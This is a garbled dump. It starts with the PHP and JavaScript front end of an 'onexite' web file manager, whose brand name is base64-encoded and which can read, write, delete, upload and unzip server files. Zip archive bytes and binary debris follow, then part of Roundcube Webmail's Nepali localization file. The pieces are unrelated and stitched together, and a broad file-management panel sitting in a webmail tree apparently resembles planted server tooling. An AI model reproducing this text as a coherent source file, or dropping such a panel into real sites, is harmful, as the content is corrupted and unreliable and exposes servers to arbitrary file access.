td{font-size: 12px;}
.pagination { margin:0px;}
.table-fixed { border-top: 0px ;}
.table-fixed thead { width: 97%;}
.table-fixed tbody {height: 300px;overflow-y: auto;width: 100%;}
.table-fixed thead, .table-fixed tbody, .table-fixed tr, .table-fixed td, .table-fixed th {display: block;}
.table-fixed tbody td, .table-fixed thead > tr> th {float: left;border-bottom-width: 1px;}
.btn-file {position: relative;overflow: hidden;}
.btn-file input[type=file] {position: absolute;top: 0;right: 0;min-width: 100%;min-height: 100%;font-size: 100px;text-align: right;filter: alpha(opacity=0);opacity: 0;outline: none; background: white;cursor: inherit;display: block;}
.navbar-brand {font-size: 14px;}

.treeview, .treeview ul {margin:0;padding:0;list-style:none;color: #D8D8D8;}
.treeview ul { margin-left:1em;position:relative}
.treeview ul ul {margin-left:.5em}

.treeview li {margin:0;padding:0 1em;line-height:2em;position:relative}
<?php if( $is_rtl ) { ?>
.treeview ul:before {content:"";display:block;width:0;position:absolute;top:0;right:0;border-right:1px solid;bottom:15px;}
.treeview ul li:before {content:"";display:block;width:10px;height:0;border-top:1px solid;margin-top:-1px;position:absolute;top:1em;right:0}
<?php } else {?>
.treeview ul:before {content:"";display:block;width:0;position:absolute;top:0;left:0;border-left:1px solid;bottom:15px;}
.treeview ul li:before {content:"";display:block;width:10px;height:0;border-top:1px solid;margin-top:-1px;position:absolute;top:1em;left:0}
<?php } ?>
		</style>
    </head>
    <body>


<div class="container">



<div class="navbar navbar-default">
  <div class="container-fluid">
    <div class="navbar-header">
		<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-ex1-collapse">
		<span class="sr-only">Toggle navigation</span>
		<span class="icon-bar"></span>
		<span class="icon-bar"></span>
		<span class="icon-bar"></span>
		</button>
      <a class="navbar-brand" href="">  <span class="ExplorIcon" ></span>  <?php echo $lang[11].'<span class="hidden-xs"> , '.$lang[12].'  '. base64_decode('PGNvZGU+b25leGl0ZTwvY29kZT4=') . '  '?></span></a>
    </div>
     
	  
	 <div class="collapse navbar-collapse navbar-ex1-collapse"> 
	  
<ul class="nav navbar-nav navbar-<?php text_position();?>">       
 <li class="dropdown">
    <a href="#" class="dropdown-toggle" data-toggle="dropdown">
       <span class="UserIcon"></span> <?php /*if(isset($_SESSION['login']['user'])) echo $_SESSION['login']['user']; */?>
      <b class="caret"></b>
    </a>
    <ul class="dropdown-menu dropdown-menu-<?php text_position();?>">
	  <li><a href="#" onclick="SetNewFolderModalattr();return false;"><span class="CFolderIcon"></span> <?php echo $lang[29];?></a></li>
	  <li><a href="#" onclick="SetUploadFileModalattr();return false;"><span class="UploadIcon"></span> <?php echo $lang[30];?></a></li>	  
	  <?php if($LoginDialog) {?>
      <li><a href="?logout"><span class="LogoutIcon"></span> <?php echo $lang[26];?></a></li>
	  <?php }?>
	  
    </ul>
  </li>
</ul>
	 
        <div class = "navbar-form navbar-<?php text_position();?>"  role="search">
        <div class="input-group">
            <input type="text" class="form-control" id="inputSearch" placeholder="<?php echo $lang[19];?>" name="q">
			<input type="hidden" value="<?php echo $directory.'&page='.$page;?>" id="dirInputSearch">
            <div class="input-group-btn">
                <button class="btn btn-default" onclick="Search()" type="submit"><span class="ExplorIcon" style="padding: 5px 0px 5px 18px;"></span></button>
            </div>
        </div>
        </div>		
	</div>	
    </div>	
</div>


		

<!-- Modal Rename -->
<div id="Rename" class="modal fade" role="dialog">
  <div class="modal-dialog">

    <!-- Modal content-->
    <div class="modal-content">
      <div class="modal-header">
        <button type="button" class="close" data-dismiss="modal">&times;</button>
        <h4 class="modal-title"><?php echo $lang[20]; ?> : <code id="RenamefileName"></code></h4>
      </div>
      <div class="modal-body">
	    <input id="renameDir" type="hidden" >	
		<input id="renameOldInput" type="hidden" >	
		
        <input type="text" class="form-control" id="renameInput">
      </div>
     <div class="modal-footer">
	 
	    <span id="RenameLabelsuccess" class="label label-success pull-<?php text_position(1);?>"></span> 
	    <button  type="button" class="btn btn-success"  onclick="renameAndContent()"><?php echo $lang[14]; ?></button>
        <button type="button" class="btn btn-default" data-dismiss="modal"><?php echo $lang[15]; ?></button>
		 
	 </div>
    </div>

  </div>
</div>	



<!-- Modal Remove -->
<div id="Remove" class="modal fade" role="dialog">
  <div class="modal-dialog">

    <!-- Modal content-->
    <div class="modal-content">
      <div class="modal-header">
        <button type="button" class="close" data-dismiss="modal">&times;</button>
        <h4 class="modal-title"><?php echo $lang[1]; ?> : <code id="RemovefileName"></code></h4>
      </div>
      <div class="modal-body">
	    <input id="Removedir" type="hidden" >	
		<input id="RemoveInput" type="hidden" >	
		<?php echo $lang[13]; ?>

      </div>
     <div class="modal-footer">
	 
	    <span id="RemoveLabelsuccess" class="label label-success pull-<?php text_position(1);?>"></span> 
	    <button  type="button" class="btn btn-success" onclick="RemoveAndContent()"><?php echo $lang[14]; ?></button>
        <button type="button" class="btn btn-default" data-dismiss="modal"><?php echo $lang[15]; ?></button>
		 
	 </div>
    </div>

  </div>
</div>	



<!-- Modal Remove -->
<div id="ZipFile" class="modal fade" role="dialog">
  <div class="modal-dialog">

    <!-- Modal content-->
    <div class="modal-content">
      <div class="modal-header">
        <button type="button" class="close" data-dismiss="modal">&times;</button>
        <h4 class="modal-title"><?php echo $lang[41]; ?> : <code id="ZipfileName"></code></h4>
      </div>
      <div class="modal-body">
	    <input id="Zipdir" type="hidden" >	
     <input class="form-control" id="FolderUnzipInput" >

      <div id="ZipLoad"></div>
      </div>
     <div class="modal-footer">
	 
	    <span id="ZipLabelsuccess" class="label label-success pull-<?php text_position(1);?>"></span> 
	    <button  type="button" class="btn btn-success" onclick="zipAndContent()"><?php echo $lang[14]; ?></button>
        <button type="button" class="btn btn-default" data-dismiss="modal"><?php echo $lang[15]; ?></button>
		 
	 </div>
    </div>

  </div>
</div>	


<!-- Modal NewFolder -->
<div id="NewFolder" class="modal fade" role="dialog">
  <div class="modal-dialog">

    <!-- Modal content-->
    <div class="modal-content">
      <div class="modal-header">
        <button type="button" class="close" data-dismiss="modal">&times;</button>
        <h4 class="modal-title"><?php echo $lang[29]; ?> </h4>
      </div>
      <div class="modal-body">
	    <input id="NewFolderDir" type="hidden" >	
		<input type="text" class="form-control" id="NewFolderInput">
      </div>
     <div class="modal-footer">
	 
	    <span id="NewFolderLabelsuccess" class="label label-success pull-<?php text_position(1);?>"></span> 
	    <button  type="button" class="btn btn-success"  onclick="newfolderAndContent()"><?php echo $lang[14]; ?></button>
        <button type="button" class="btn btn-default" data-dismiss="modal"><?php echo $lang[15]; ?></button>
		 
	 </div>
    </div>

  </div>
</div>	

<!-- Modal CopyFolder -->
<div id="CopyFolder" class="modal fade" role="dialog">
  <div class="modal-dialog">

    <!-- Modal content-->
    <div class="modal-content">
      <div class="modal-header">
        <button type="button" class="close" data-dismiss="modal">&times;</button>
        <h4 class="modal-title"><?php echo $lang[40]; ?> </h4>
      </div>
      <div class="modal-body">
	    <input id="FromFolderDir" type="hidden" >	
		<input type="text" class="form-control" id="ToFolderInput">
      </div>
     <div class="modal-footer">
	 
	    <span id="CopyLabelsuccess" class="label label-success pull-<?php text_position(1);?>"></span> 
	    <button  type="button" class="btn btn-success"  onclick="copyAndContent()"><?php echo $lang[14]; ?></button>
        <button type="button" class="btn btn-default" data-dismiss="modal"><?php echo $lang[15]; ?></button>
		 
	 </div>
    </div>

  </div>
</div>	


<!-- Modal UploadFile -->
<div id="UploadFile" class="modal fade" role="dialog">
  <div class="modal-dialog">

    <!-- Modal content-->
    <div class="modal-content">
	 
      <div class="modal-header">
        <button type="button" class="close" data-dismiss="modal">&times;</button>
        <h4 class="modal-title"><?php echo $lang[30]; ?> </h4>
		
      </div>
      <div class="modal-body">
	  <p><?php echo $lang[36] .' : <code>{ '.implode(",",$_extensions[0]).' }</code> <br> 
	  '.$lang[37].' : <code id="maxFileSize">'.$_maxFileSize.'</code>'; ?> <br>
	  <?php echo $lang[6] ?> : <code><span id="UploadFileSize"></span></code></p>
	<form  id="FileUploadForm" enctype="multipart/form-data" method="post">
	    <input id="UploadFileDir" type="hidden" >	

            <div class="input-group">
                <span class="input-group-btn">
                    <span class="btn btn-default btn-file">
                         <?php echo $lang[32]; ?> <input name="inputFileUpload[]" type="file" multiple >
                    </span> 
                </span>
                <input type="text" class="form-control" readonly id="inputFileUpload">
            </div>	
			
      </div>
     <div class="modal-footer">
	 
	    <span id="FileUploadLabelsuccess" class="label label-success pull-<?php text_position(1);?>"></span> 
	    <button type="submit" name="upload" class="btn btn-success"  id="FileUploadBtn" disabled><?php echo $lang[14]; ?></button> 
        <button type="button" class="btn btn-default" data-dismiss="modal"><?php echo $lang[15]; ?></button>

        </form>
		
	 </div>
	
    </div>

  </div>
</div>	

 <div class="modal fade" id="ShowFile" role="dialog">
    <div class="modal-dialog">
    
      <!-- Modal content-->
      <div class="modal-content">
        <div class="modal-header">
          <button type="button" class="close" data-dismiss="modal">&times;</button>
          <h4 class="modal-title"><?php echo $lang[3] ;?> <code id="imgUrl"></code></h4>
        </div>
        <div class="modal-body">
		  <input id="filenameDir" type="hidden" >	
          <input type="hidden" id="filenameInput">
          
		  
		
		
		<ul class="nav nav-tabs">
            <li class="active"><a data-toggle="tab" href="#_browse" id="HrefBrowse"><?php echo $lang[18] ;?></a></li>
            <li class=""><a data-toggle="tab" href="#_tree" id="HrefTree"><?php echo $lang[39] ;?></a></li>
        </ul>

        <div class="tab-content">
			
            <div id="_browse" class="tab-pane fade in active">
                <div id="Result" class="zone" > </div>
            </div>
			 
            <div id="_tree" class="tab-pane fade">
			    <br>
                <ul class="treeview" id="listFolderFiles"> 
				</ul>
			</div>
        </div>
		
        </div>
        <div class="modal-footer">
		  <span id="FileWriteLabelsuccess" class="label label-success pull-<?php text_position(1);?>"></span> 
          <button type="button" class="btn btn-success"  id="FileWriteBtn" onclick="writeAndContent()" ><?php echo $lang[14]; ?></button> 
		  <button type="button" class="btn btn-default" data-dismiss="modal"><?php echo $lang[15]; ?></button>
        </div>
      </div>
      
    </div>
  </div>


 
  
        <ol class="breadcrumb" id="breadcrumb">  </ol>		 
		<div id="content"></div>		  
		<input type="hidden" id="directory">		
		 <div id="alert"></div>
		 <ul id="pagination" class="pagination"></ul>
        <script type="text/javascript">
		
/**
 *  BootTree Treeview plugin for Bootstrap.
 *
 *  Based on BootSnipp TreeView Example by Sean Wessell
 *  URL:	http://bootsnipp.com/snippets/featured/bootstrap-30-treeview
 *
 *	Revised code by Leo "LeoV117" Myers
 *
 */
 var FileTypes = [ <?php if(count($_extensions[1])!=0) echo "'".implode("','",$_extensions[1])."'" ; ?>]; 
 var ImgTypes = [ <?php if(count($_extensions[2])!=0) echo "'".implode("','",$_extensions[2])."'" ; ?>]; 
 var units = [<?php if(count($units)!=0) echo "'".implode("','",$units)."'" ; ?>];
 var maxFileSize = parseInt('<?php echo $_maxFileSize ?>');
$.fn.extend({
	treeview:	function() {
		return this.each(function() {
			var tree = $(this);
			
			tree.addClass('treeview-tree');
			tree.find('li').each(function() {
				var stick = $(this);
			});
			tree.find('li').has("ul").each(function () {
				var branch = $(this); 				
				branch.prepend("<i class='tree-indicator CFolderIcon'></i>");
				branch.addClass('tree-branch');
				branch.on('click', function (e) {
					if (this == e.target) {
						var icon = $(this).children('i:first');
						
						icon.toggleClass("OFolderIcon");
						$(this).children().children().toggle();
					}
				})
				branch.children().children().toggle();	
				branch.children('.tree-indicator, button, a').click(function(e) {
					branch.click();
					
					e.preventDefault();
				});
			});
		});
	}
});

		
	/*************************************************************/	
		
		
    $('#FileUploadForm').on('submit',(function(e) {
		$('#FileUploadLabelsuccess').html('<?php echo $lang[17]; ?>');	 
		$("#FileUploadBtn").attr("disabled", "disabled");
        e.preventDefault();
        var formData = new FormData(this);
        var dir =$('#UploadFileDir').val();
        $.ajax({
			xhr: function()
			{
				var xhr = new window.XMLHttpRequest();
				xhr.upload.addEventListener("progress", function(evt) {
					if (evt.lengthComputable) {
						var percentComplete = Math.round(evt.loaded * 100 / evt.total);
						$('#FileUploadLabelsuccess').html('<?php echo $lang[17]?> ' + percentComplete + '%');
						}}, false);
				return xhr;
			},
            type:'POST',
            url: '?uploadfile&dir='+dir,
            data:formData,
            cache:false,
            contentType: false,
            processData: false,
            success:function(data){
				$('#FileUploadLabelsuccess').html('');
				$('#inputFileUpload').val('');
				$('#UploadFile').modal('hide');	
				//$("#FileUploadBtn").attr("disabled", "disabled");
				getContent("dir="+dir,0)	;
            },
            error: function(data){
                $('#FileUploadLabelsuccess').html('<?php echo $lang[33]?>');
            }
			
			
        });
    }));

	function formatFileSize(bytes) {
				
				for(var pos = 0;bytes >= 1000; pos++,bytes /= 1024);
				var d = Math.round(bytes*10);
				return pos ? [parseInt(d/10),".",d%10," ",units[pos]].join('') : bytes + units[0];
			}


		    var LoadingHtml='<div class="container_01"><center><span class="Loading"></span><br><br><?php echo $lang[35]?></center></div>';
            $(function(){$('body').tooltip({ selector: '[data-toggle="tooltip"]' });});
			
					$(document).on('change', '.btn-file :file', function() {
						var input = $(this),
						numFiles = input.get(0).files ? input.get(0).files.length : 1,
						label = input.val().replace(/\\/g, '/').replace(/.*\//, '');
						input.trigger('fileselect', [numFiles, label]);
						var Tsize=0;
						var Tlabel='';
						for (i = 0; i < numFiles; i++) {
                             Tsize  = Tsize+ this.files[i].size;
							 Tlabel = Tlabel+','+this.files[i].name;
							 }
							// alert(Tlabel);

						$("#UploadFileSize").html(formatFileSize(Tsize));	 
						
						if(numFiles==0)		
							$("#FileUploadBtn").attr("disabled", "disabled");
						else
							$("#FileUploadBtn").removeAttr("disabled");
						
						
						
						if(numFiles>1)				
						  $('#inputFileUpload').val('<?php echo $lang[10];?> '+numFiles);	
						else
						{
							
							$('#inputFileUpload').val(label);	
							
							if(Tsize>maxFileSize)
							{
								$('#FileUploadLabelsuccess').html('<?php echo $lang[33].' : '.$lang[37]?>  '+formatFileSize(maxFileSize) );
								$("#FileUploadBtn").attr("disabled", "disabled");
							} else $('#FileUploadLabelsuccess').html('');
							
							
						}
						  
						
						
						}); 	
						
			
			$("#content").html(LoadingHtml);
		     $.getJSON("?table&page=1", function(result){ 
			$("#content").html(result.table); 
		    $('#breadcrumb').html(result.dirHtml);
			$('#directory').val(result.dir);
            // init bootpag -sm
			$('#alert').html(result.alert);
			
			 $('#pagination').twbsPagination({
        totalPages: result.total,
        visiblePages: 5,
		first : '<?php  if($is_rtl ) echo '→'; else echo '←' ?>',
		prev : '«',
		next : '»',
		last : '<?php  if($is_rtl ) echo '←' ;else echo '→' ?>',
        onPageClick: function (event, page) {
            $("#content").html(LoadingHtml);
			$.getJSON("?table&page="+page+"&alert="+result.alert, function(result){ $("#content").html(result.table); $('#breadcrumb').html(result.dirHtml); $('#alert').html(result.alert);});		 
        }
		});
			
			});
			

	    function setCookie(key, value) {
            var expires = new Date();
            expires.setTime(expires.getTime() + (1 * 24 * 60 * 60 * 1000));
            document.cookie = key + '=' + value + ';expires=' + expires.toUTCString();
        }

        function getCookie(key) {
            var keyValue = document.cookie.match('(^|;) ?' + key + '=([^;]*)(;|$)');
            return keyValue ? keyValue[2] : null;
        }
	
	      function escapeTags( str ) {
			  return String( str )
           .replace( /&/g, '&amp;' )
           .replace( /"/g, '&quot;' )
           .replace( /'/g, '&#39;' )
           .replace( /</g, '&lt;' )
           .replace( />/g, '&gt;' );
		   }
		   
		   function replace_dir( str ) {
			  return String( str ).replace( '///', '/' ).replace( '//', '/' ); 
		   }
		   
		   function isFile(pathname) {
			   return pathname.split('/').pop().split('.').length > 1;
		   }
		   function isDir(pathname) { return !isFile(pathname); }
	
			function getContent(url,type)
			{
				  setCookie('url', url);
				 $("#content").html(LoadingHtml);
				  url = replace_dir(url); 
			      $.getJSON("?table&"+url, function(data){
				 //  alert("?table&"+url);			  
		          $("#content").html(data.table);
			      $('#breadcrumb').html(data.dirHtml);
				  $('#dirInputSearch').val(data.dir);
				  $("#Result").html(data.table);
				  $('#directory').val(data.dir);
				  $('#pagination').empty().removeData("twbs-pagination").unbind("page");
				  $('#alert').html(data.alert);		  
		        $('#pagination').twbsPagination({
                    totalPages: data.total,
                    visiblePages: 5,
		            first : '<?php  if($is_rtl ) echo '→'; else echo '←' ?>',
		            prev : '«',
		            next : '»',
		            last : '<?php  if($is_rtl ) echo '←' ;else echo '→' ?>',
                    onPageClick: function (event, page) {
		            if(type==0)  { 	
			          $("#content").html(LoadingHtml);
		              $.getJSON("?dir="+data.dir+"&table&page="+page+"&alert="+data.alert, function(data){$("#content").html(data.table); $("#Result").html(data.table); $('#breadcrumb').html(data.dirHtml);  $('#alert').html(data.alert);});}
		            }        
		        });
			      });	
				  
			};
			
			function Search()
			{
			    getContent("dir="+$('#dirInputSearch').val()+'&search='+$('#inputSearch').val(),1)	
			}
			

			
			 function SetRenameModalattr(dir)
			 {
				//var filename= SplitFileName(dir,"/").split("&")[0];
				dir = replace_dir(dir); 
				var filename = SplitFileName(dir.split("&")[0],"/"); 
				$('#renameInput').val(filename);$('#renameDir').val(dir);$('#RenamefileName').html(filename);
				$('#ShowFile').modal('hide');	
				$('#Rename').modal('show');	
				$( "#renameInput" ).focus();					
			 };
			 
			 
			  function SetNewFolderModalattr()
			 {
				dir = $('#directory').val();
				dir = replace_dir(dir); 
				$('#NewFolderDir').val(dir);
				$('#ShowFile').modal('hide');	
				$('#NewFolder').modal('show');	
				$( "#NewFolderDir" ).focus();					
			 };
			 
			 function SetUploadFileModalattr()
			 {
				dir = $('#directory').val();
				dir = replace_dir(dir); 
				$('#UploadFileDir').val(dir);
				$('#inputFileUpload').val('');
				$("#UploadFileSize").html('');	
				$('#ShowFile').modal('hide');	
				$("#FileUploadBtn").attr("disabled", "disabled");
				$('#maxFileSize').html( formatFileSize(maxFileSize) );	
				$('#FileUploadLabelsuccess').html('');
				$('#UploadFile').modal('show');				
			 };
			 
			  function SetCopyFileModalattr(dir)
			 {
		
				dir = replace_dir(dir); 
				//var filename = SplitFileName(dir.split("&")[0],"/"); 
				var filename = dir.split("&")[0]; 
				//var filename = filename.split("/")[filename.split("/").length-1]+'/'; 
				$('#FromFolderDir').val(dir);
				$('#ToFolderInput').val(filename); //filename.slice( 0, filename.lastIndexOf("/"))+'/'
				$('#ShowFile').modal('hide');	
				$('#CopyFolder').modal('show');		
				$( "#ToFolderInput" ).focus();				
			 };
			 
			 function SetZipFileModalattr(dir)
			 {
		
				dir = replace_dir(dir); 
				//var filename = ; 			
				$('#Zipdir').val(dir);
				var filename = dir.split("&")[0]; 
                $('#ZipfileName').html(SplitFileName(dir.split("&")[0],"/"));
				$('#FolderUnzipInput').val(filename.slice( 0, filename.lastIndexOf("/"))+'/');
				$('#ShowFile').modal('hide');	
				$('#ZipFile').modal('show');		
				$( "#FolderUnzipInput" ).focus();				
			 };
			 
			 
			  
			 
			 function SetRemoveModalattr(dir)
			 {
				dir = replace_dir(dir); 
	            var filename = SplitFileName(dir.split("&")[0],"/"); 
				$('#RemoveInput').val(filename);$('#Removedir').val(dir);$('#RemovefileName').html(filename);
				$('#ShowFile').modal('hide');	
				$('#Remove').modal('show');				
			 };

	        function getExt(filename)
	        {
			  return filename.substr(filename.lastIndexOf('.')+1).toLowerCase();
		      //return filename.split('.').pop();
		    }
			
			function SplitFileName(dir,split)
			{
				var file_name_array = dir.split(split);
				return file_name_array[file_name_array.length - 1];
			}
	
			  function SetShowFileModalattr(dir)
			 {
				 $("#FileWriteBtn").hide();
				 dir = replace_dir(dir); 
				 if (dir.indexOf("#") !=-1) 
					 var filename = SplitFileName(dir,"#");
				 else
					 var filename = SplitFileName(dir,"/");

                $('#filenameInput').val(filename);
				// var dir = file_name_array[file_name_array.length - 2];
				$('.nav-tabs a[href="#_browse"').tab('show');
				$("#listFolderFiles").html('');
                $("#HrefBrowse").html('<?php echo $lang[3];?>');
				$("#HrefTree").html('');
			
				$("#Result").html('<center><br><br><span class="Loading"></span><br><br><?php echo $lang[35]?></center>');
	            $('#filenameDir').val(dir);$('#imgUrl').html(filename);
				$('#ShowFile').modal('show');	
				
			if(filename =='directory'){
				
				$("#HrefTree").html('<?php echo $lang[39];?>');
				$("#HrefBrowse").html('<?php echo $lang[18];?>');
				$.getJSON("?table&dir="+dir+"&#directory", function(result){ $("#Result").html(result.table); $('#imgUrl').html('#<?php echo $lang[18]; ?>');});
			   $("#listFolderFiles").html('<li><center><span class="Loading"></span><br><br><?php echo $lang[35]?></center></li>');			   
			   $.get("?listFolderFiles&dir="+dir, function(data){
			      $("#listFolderFiles").html(data);
	              $('.treeview').treeview();
    
			   });

		  
					return;
			};
			
			    if( $.inArray(getExt(filename), ImgTypes  )!==-1)
				{
					$("#Result").html('<center><br><img src="'+dir+'" class="img-rounded img-responsive" alt=""></center>'); 
					return;
				};
					
					
				if( $.inArray(getExt(filename), FileTypes  )!==-1 || FileTypes.length ==0 ) {
				
					$.get("?read="+dir, function(result){ 
					 $("#FileWriteBtn").show();
					 $('#FileWriteLabelsuccess').html('');
                     $("#FileWriteBtn").removeAttr("disabled");
                     $("#Result").html('<input id="FileTxt_OK" type="hidden" ><textarea id="FileTxt" class="form-control" rows="15" style="border-top: 0px ; box-shadow: inset 0 0px 1px rgba(0,0,0,.075);border-top-left-radius: 0px; ">'+escapeTags(result)+'</textarea>'); 
					});	
					return;
				};
				
					
						
			 };
			 
			 
			 
			 function writeAndContent() 
			 { 
			 
			  if( !$('#FileTxt_OK').length ) {$("#FileWriteBtn").attr("disabled", "disabled"); $('#FileWriteLabelsuccess').html('<?php echo $lang[33]?>'); return ;}
			 
			 
			   $("#FileTxt").attr("disabled", "disabled"); $("#FileWriteBtn").attr("disabled", "disabled");
			   $('#FileWriteLabelsuccess').html('<?php echo $lang[17]; ?>');		
			   dir = replace_dir($('#filenameDir').val()); 
			   txtData = $('#FileTxt').val();

			   $.post( "?write", { write: dir, txt: txtData } , function( data,status ) {
              
			  if(status=='success'){
				$('#ShowFile').modal('hide'); 
				$('#FileWriteLabelsuccess').html('');
				$('#FileTxt').val('');
			  } else 
				$('#FileWriteLabelsuccess').html('<?php echo $lang[33]?>');
			
                $("#FileTxt").removeAttr("disabled"); $("#FileWriteBtn").removeAttr("disabled");
		       
			   delete txtData; 

			   });
		
             };
			 
			 
			 function renameAndContent() 
			 { 
			   $("#renameInput").attr("disabled", "disabled");
			   $('#RenameLabelsuccess').html('<?php echo $lang[17]; ?>');		
			   dir = replace_dir($('#renameDir').val()); 
			   $.getJSON("?rename="+dir+"&table&newrename="+$('#renameInput').val(), function(data){
	           $("#content").html(data.table);
			   $('#alert').html(data.alert);		
	           $('#Rename').modal('hide');
               $("#renameInput").removeAttr("disabled");
		       $('#RenameLabelsuccess').html('');
			   $('#renameInput').val('');
			   
	         });	
  
             };
			 
			 
			
			function newfolderAndContent()
			{
			   $('#NewFolderLabelsuccess').html('<?php echo $lang[17]; ?>');	
               dir = replace_dir($('#NewFolderDir').val()); 			 
			   $.getJSON("?newfolder="+$('#NewFolderInput').val()+"&table&dir="+dir, function(data){$("#content").html(data.table);$('#alert').html(data.alert); $('#NewFolderLabelsuccess').html('');$('#NewFolderInput').val('');$('#NewFolder').modal('hide');});					  
			}

		
			function RemoveAndContent()
			{
			   $('#RemoveLabelsuccess').html('<?php echo $lang[17]; ?>');		
			   dir = replace_dir($('#Removedir').val()); 
			   $.getJSON("?Remove="+dir+"&table", function(data){$("#content").html(data.table); $('#alert').html(data.alert);$('#RemoveLabelsuccess').html('');$('#Remove').modal('hide');});					  
			}
			
			 function copyAndContent() 
			 { 

			   $("#ToFolderInput").attr("disabled", "disabled");
			   $('#CopyLabelsuccess').html('<?php echo $lang[17]; ?>');		
			   dir = replace_dir($('#FromFolderDir').val()); 
			   $.getJSON("?copy="+dir+"&table&to="+$('#ToFolderInput').val(), function(data){
	           $("#content").html(data.table);
			   $('#alert').html(data.alert);		
	           $('#CopyFolder').modal('hide');
               $("#ToFolderInput").removeAttr("disabled");
		       $('#CopyLabelsuccess').html('');
			   $('#ToFolderInput').val('');
			   
	         });	
             };
			 
			 
			  	 function zipAndContent() 
			 { 

			  $("#ZipLoad").html('<center><br><br><span class="Loading"></span><br><br><?php echo $lang[35]?></center>');
			   $("#FolderUnzipInput").attr("disabled", "disabled");
			   $('#ZipLabelsuccess').html('<?php echo $lang[17]; ?>');		
			   dir = replace_dir($('#Zipdir').val()); 
			   $.getJSON("?unzip="+dir+"&table&to="+$('#FolderUnzipInput').val(), function(data){
	           $("#content").html(data.table);
			   $('#alert').html(data.alert);		
	           $('#ZipFile').modal('hide');
               $("#FolderUnzipInput").removeAttr("disabled");
		       $('#ZipLabelsuccess').html('');
			   $('#FolderUnzipInput').val('');
			   $("#ZipLoad").html('');
	         });	
  
             };
			 delete LoadingHtml; 
			 /*
			 for ( var i in window ) {
              console.log(i, typeof window[i], window[i]);
	         }*/
        </script>
		</div>
    </body>
    </html>
	<?php 
	// free memory
	unset($lang);
	unset($icon);
	unset($_extensions);
	
	unset($directory);
	unset($page);
	unset($total_pages);
	unset($LoginDialog);
	unset($login_user);
	unset($login_pass);
	unset($is_rtl);
	unset($units);
	unset($charset);
	unset($_maxFileSize);
    unset($_SERVER); unset($_SESSION);unset($_COOKIE);unset($_GET);  unset($_POST);unset($_FILES);unset($_ENV); unset($_REQUEST); 
	/*
	echo  memory_get_usage();
	$arr = get_defined_vars();
	
	echo '<pre>';
	print_r($arr);
	echo '</pre>';*/
	?>
<!--<div class="navbar navbar-default  navbar-fixed-bottom" role="navigation">
    <div class="container text-center">
        <p class="navbar-text col-md-12 col-sm-12 col-xs-12">&copy; onexite</p>
    </div>
    </div>-->PK
h�\�^\�:0:0%program/localization/ne_NP/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = '$product मा स्वागत छ';
$labels['username'] = 'प्रयोगकर्ताको नाम';
$labels['password'] = 'प्रवेश शब्द';
$labels['server'] = 'सर्भर';
$labels['login'] = 'लगइन गर्नुहोस्';
$labels['logout'] = 'लगआउट गर्नुहोस्';
$labels['mail'] = 'ई-मेल';
$labels['settings'] = 'व्यक्तिगत रोजाईहरु';
$labels['addressbook'] = 'ठेगाना पुस्तिका';
$labels['inbox'] = 'प्राप्ति मञ्जूषा';
$labels['drafts'] = 'ड्राफ्टहरू';
$labels['sent'] = 'पठईएका मेलहरु';
$labels['trash'] = 'रद्दी टोकरी';
$labels['junk'] = 'स्पाम';
$labels['subject'] = 'विषय';
$labels['from'] = 'प्रेषक';
$labels['to'] = 'प्रापक';
$labels['cc'] = 'बोधार्थ';
$labels['bcc'] = 'गुप्त बोधार्थ';
$labels['replyto'] = 'लाई-जवाफ';
$labels['followupto'] = 'यसलाई अनुसरण गर्नुहोस्';
$labels['date'] = 'तारिख';
$labels['size'] = 'नाप';
$labels['priority'] = 'प्राथमिकता';
$labels['organization'] = 'संस्था';
$labels['readstatus'] = 'पढेको अवस्था';
$labels['mailboxlist'] = 'फोल्डरहरु';
$labels['messagesfromto'] = 'मेलहरु $from बाट $to सम्म, $count मध्यबाट';
$labels['threadsfromto'] = 'थ्रेडहरु $from बाट $to सम्म, $count मध्यबाट';
$labels['messagenrof'] = '$nr नम्बर मेल, $count मध्यबाट';
$labels['fromtoshort'] = '$from - $to, $count मध्यबाट';
$labels['copy'] = 'प्रतिलिपि गर्नुहोस्';
$labels['move'] = 'सार्नुहोस';
$labels['moveto'] = 'यहाँ सार्नुहोस';
$labels['download'] = 'डाऊनलोड';
$labels['filename'] = 'फाईलको नाम';
$labels['filesize'] = 'फाईलको नाप';
$labels['addtoaddressbook'] = 'ठेगाना पुस्तिकामा भर्नुहोस';
$labels['sun'] = 'आइत';
$labels['mon'] = 'सोम';
$labels['tue'] = 'मंगल';
$labels['wed'] = 'बुध';
$labels['thu'] = 'विहि';
$labels['fri'] = 'शुक';
$labels['sat'] = 'शनि';
$labels['sunday'] = 'आइतवार';
$labels['monday'] = 'सोमवार';
$labels['tuesday'] = 'मंगलवार';
$labels['wednesday'] = 'बुधवार';
$labels['thursday'] = 'विहिवार';
$labels['friday'] = 'शुक्रवार';
$labels['saturday'] = 'शनिवार';
$labels['jan'] = 'जनवरी';
$labels['feb'] = 'फेब्रुवरी';
$labels['mar'] = 'मार्च';
$labels['apr'] = 'अप्रिल';
$labels['may'] = 'मई';
$labels['jun'] = 'जुन';
$labels['jul'] = 'जुलाई';
$labels['aug'] = 'अगस्ट';
$labels['sep'] = 'सेप्टेम्बर';
$labels['oct'] = 'अक्टोबर';
$labels['nov'] = 'नोभेम्बर';
$labels['dec'] = 'डिसेम्बर';
$labels['longjan'] = 'जनवरी';
$labels['longfeb'] = 'फेब्रुवरी';
$labels['longmar'] = 'मार्च';
$labels['longapr'] = 'अप्रिल';
$labels['longmay'] = 'मई';
$labels['longjun'] = 'जुन';
$labels['longjul'] = 'जुलाई';
$labels['longaug'] = 'अगस्ट';
$labels['longsep'] = 'सेप्टेम्बर';
$labels['longoct'] = 'अक्टोबर';
$labels['longnov'] = 'नोभेम्बर';
$labels['longdec'] = 'डिसेम्बर';
$labels['today'] = 'आज';
$labels['refresh'] = 'ताजा पार्नुहोस्';
$labels['checkmail'] = 'नया मेल खोज्नुहोस';
$labels['compose'] = 'रचना गर्नुहोस्';
$labels['writenewmessage'] = 'नया मेल लेख्नुहोस';
$labels['reply'] = 'जवाफ दिनुहोस्';
$labels['replytomessage'] = 'प्रेषकलाई जवाफ दिनुहोस';
